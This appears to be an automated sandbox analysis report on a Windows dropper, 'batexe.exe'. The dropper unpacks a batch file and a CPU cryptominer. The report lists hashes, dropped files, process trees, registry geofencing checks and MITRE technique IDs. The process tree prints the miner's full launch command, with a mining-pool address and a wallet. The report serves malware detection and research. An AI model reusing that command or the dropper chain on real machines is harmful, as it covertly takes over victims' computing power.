73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 13:18

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3520	b2e.exe
4140	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4140	cpuminer-sse2.exe
4140	cpuminer-sse2.exe
4140	cpuminer-sse2.exe
4140	cpuminer-sse2.exe
4140	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5712-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5712 wrote to memory of 3520	5712	batexe.exe	83
PID 5712 wrote to memory of 3520	5712	batexe.exe	83
PID 5712 wrote to memory of 3520	5712	batexe.exe	83
PID 3520 wrote to memory of 5388	3520	b2e.exe	84
PID 3520 wrote to memory of 5388	3520	b2e.exe	84
PID 3520 wrote to memory of 5388	3520	b2e.exe	84
PID 5388 wrote to memory of 4140	5388	cmd.exe	87
PID 5388 wrote to memory of 4140	5388	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5712
- C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\700F.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5388
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe

Filesize
27.7MB

MD5
2389363e8902429636562b9d54779141

SHA1
c64be9786d977fd55128c427ef2dc8afc243fba5

SHA256
8e44f31e472c5e9d03c2503f156af18285d76d2a9f16c4d9702304199007b50e

SHA512
f875672899aeaf6e857dd07436f34f54db7dd215f589728d3f46e87b96e3f2cb021a7f578199a1c54062ab298508f72bcdf1e464c65f390f4fc5be6e33f5b339

Download Submit
C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe

Filesize
13.2MB

MD5
ea3b5c434a12dbf1fa46d6a32b71e904

SHA1
de7174c8a3ed8433fad02b30492726e2fa1e73c4

SHA256
f4152200d3c8a8374c1384f4ba0ae81db2e8e23c81beba2a1f2cb270653f9a90

SHA512
cbcd7b84b44b9fffc2cecd50e2cdb04c915868098c4fb44ee9a13efc2c3b2f28e6c24a05d533d8cdf8b5eb9748ebec4fb91024442039a88d03d60dc04595c3fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe

Filesize
14.2MB

MD5
0be70aba50ff45d020d64b2200f3abd2

SHA1
5aded247f8a6dae70a301f4bd10267389228eca7

SHA256
a07cd6a1e146339e242e283f7dbc888caedbaac841f1f8b4a7d866e08e8cebf9

SHA512
6ca1de74c65dcc80b30f53469fa9fced4f222083e03b51e611a0dcc275da6dc3f02dcdf609ff5c452b23b6fc0ada2ca89f48a04f841129d9883e26fec5166208

Download Submit
C:\Users\Admin\AppData\Local\Temp\700F.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
6c10d9c8e7d91dcf8eb8b30088027c61

SHA1
4d2698832344acabb120af403fa081779b1df33b

SHA256
186f5fa7d41c6922b30a2756f60386190d1e86617696144a8cc1cf53960f80c9

SHA512
79353fcdaeb98732da7ec4df9d2279368c22e078a7efd0494f677ae043a068f7e5cf994b74d3680542485812ba51f6e86dbed1c544a1c3938336cbc317d4fea1

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
2ef40d5c3b964c66392be6a3db51bf84

SHA1
391a644aa11504129db4b42007b054f2c3bf5414

SHA256
0ef835e2576ba8fbfcd733a66284579607cc8dafdc2b26fe3c0091dc66d8e707

SHA512
0b568c8b5ef88af49c00801cd5eaf3e7262367d2a3356f1a685d36e3c1dff63babb5dd049d5a1e7fbe214cab35e6f271d0a105e073a1fb2c281bb5c0279b7107

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
870KB

MD5
23c26c69b9fff2673be37c6d8cfcda62

SHA1
6511a024d6274d4a987ba1e369ea5afc29ce4ee0

SHA256
a1797fd30ef08cc29bbed2c79504cb8694afe5b74a2bf4a1d15450b748acb2a5

SHA512
6d72312d67ca72bd6aad2c2adc766b5a1ac7595e3c9c7d135a3a96e33bef59cfab016e6b1a71a114275712f093cb8068466cdbf8b767fce41866bab43bfeb7b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
6eba6c23d507e696ed84a2cd35898e4b

SHA1
e09a9cafa4924b493d1ea070d56e5ef3f204807d

SHA256
444438d00d69dd836dcdc2825790df2b7fdc3a062053f7ea164b7b1a3c9e97a0

SHA512
7ea1632bf80dab466d7b1f4c711112b4823c1ccffe6ce4037590cdcba95a0b19ae172782cdbe8e4fb0e044f44470890ad4a942db072ec6eb08ba71f0e5a94ec0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.0MB

MD5
43f7bf8d32ec578fcb5658c5081f479a

SHA1
21ac8fee4afcae6ac2d3fe62e6daa44b38df2841

SHA256
936ae3f5369aa31de997e364f7325591359b9bcbf11c5bb74083e0ce0343e2ac

SHA512
72e2347e942689024aeac54c042e53ad6e807b2100d5c709ab147c128afcc0fb877e93f17d2af1eda15f1164a5425e8ebba4338648d07ef07d3d060abe23f23d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
0f293622e3be08c5c4c92f099a2e3b93

SHA1
6049dd91d8cd9ac85f88013f163f80e2f432f80a

SHA256
1af75d5fcc2c1abd6e48a58103648ffc925e4f6e310d01a8e09b57121c156d19

SHA512
b163adbc167d87db81f46e293185778a25524770a09a52df954ea2aff86dc8e2226f038be6ec99ce7b3ee98381cef720a51eaa5a79ea75aa34ad74451d59433e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3520-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3520-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4140-47-0x0000000001160000-0x0000000002A15000-memory.dmp

Filesize
24.7MB

Download
memory/4140-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4140-46-0x00000000691A0000-0x0000000069238000-memory.dmp

Filesize
608KB

Download
memory/4140-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4140-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4140-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4140-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4140-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4140-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4140-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4140-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4140-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4140-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4140-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5712-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download